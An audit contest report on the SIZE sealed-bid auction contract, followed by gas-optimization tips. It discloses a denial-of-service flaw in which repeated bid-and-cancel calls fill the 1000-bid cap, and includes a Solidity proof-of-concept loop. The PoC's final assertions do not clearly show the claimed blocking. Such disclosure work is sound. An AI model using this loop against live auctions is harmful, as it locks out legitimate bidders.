SIZE contest - skyle's results

Lines of code

https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L157 https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L420

Vulnerability details

Impact

The attacker could bid and then cancel the bid for 1000 times, and block other valid bidders. The cost of the attack is only gas fee

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

The attacker could first call Bid function and then cancelBid to DDOS attack. Because there is a upper limit of number bidding in the Bid function (https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L157). the number of bids won't be reduced in cancelBid. So the attacker could keep doing Bid and cancelBid until reaching the 1000, and block other valid bidders

function testMultipleBids() public { uint256 aid = seller.createAuction( baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent ); bidder1.setAuctionId(aid); bidder2.setAuctionId(aid); (uint256 beforeQuote, uint256 beforeBase) = bidder1.balances(); (uint256 beforeQuote2, uint256 beforeBase2) = bidder2.balances(); // bidding and cancel bidding for DDOS for (uint256 i; i < 1000; i++) { bidder1.bidOnAuction(1 ether, 10e6); bidder1.cancel(); } (uint256 afterQuote, uint256 afterBase) = bidder1.balances(); assertEq(beforeQuote, afterQuote); bidder2.bidOnAuction(1 ether, 8e6);

    (uint256 afterQuote2, uint256 afterBase2) = bidder2.balances();
    
    assertEq(beforeQuote2, afterQuote2 + 8e6);
    assertEq(beforeBase2, afterBase2);
}

Tools Used

Recommended Mitigation Steps

1. do not allow cancelBid until finalize
2. maintain the number of valid bids and do not block bidding if the number of valid bids is less than 1000

Right shift or Left shift instead of dividing or multiplying by powers of two

Lines

• SizeSealed.sol:241
• SizeSealed.sol:249

Use assembly to hash instead of Solidity

Lines

• SizeSealed.sol:133
• SizeSealed.sol:467

Use calldata instead of memory for function arguments that do not get mutated.

Mark data types as calldata instead of memory where possible. This makes it so that the data is not automatically loaded into memory. If the data passed into the function does not need to be changed (like updating values in an array), it can be passed in as calldata. The one exception to this is if the argument must later be passed into another function that takes an argument that specifies memory storage.

Lines

• SizeSealed.sol:217

Lines

• ECCMath.sol:25
• ECCMath.sol:37
• ECCMath.sol:60
• ECCMath.sol:51

Mark functions as payable (with discretion)

You can mark public or external functions as payable to save gas. Functions that are not payable have additional logic to check if there was a value sent with a call, however, making a function payable eliminates this check. This optimization should be carefully considered due to potentially unwanted behavior when a function does not need to accept ether.

Lines

• SizeSealed.sol:217
• SizeSealed.sol:470
• SizeSealed.sol:336
• SizeSealed.sol:55
• SizeSealed.sol:415
• SizeSealed.sol:122
• SizeSealed.sol:177
• SizeSealed.sol:391
• SizeSealed.sol:451
• SizeSealed.sol:474
• SizeSealed.sol:358
• SizeSealed.sol:466
• SizeSealed.sol:478

Consider marking constants as private

Marking constant variables in storage as constant saves gas. Unless a constant variable should be easily accessible by another protocol or offchain logic, consider marking it as private.

Lines

• ECCMath.sol:8
• ECCMath.sol:9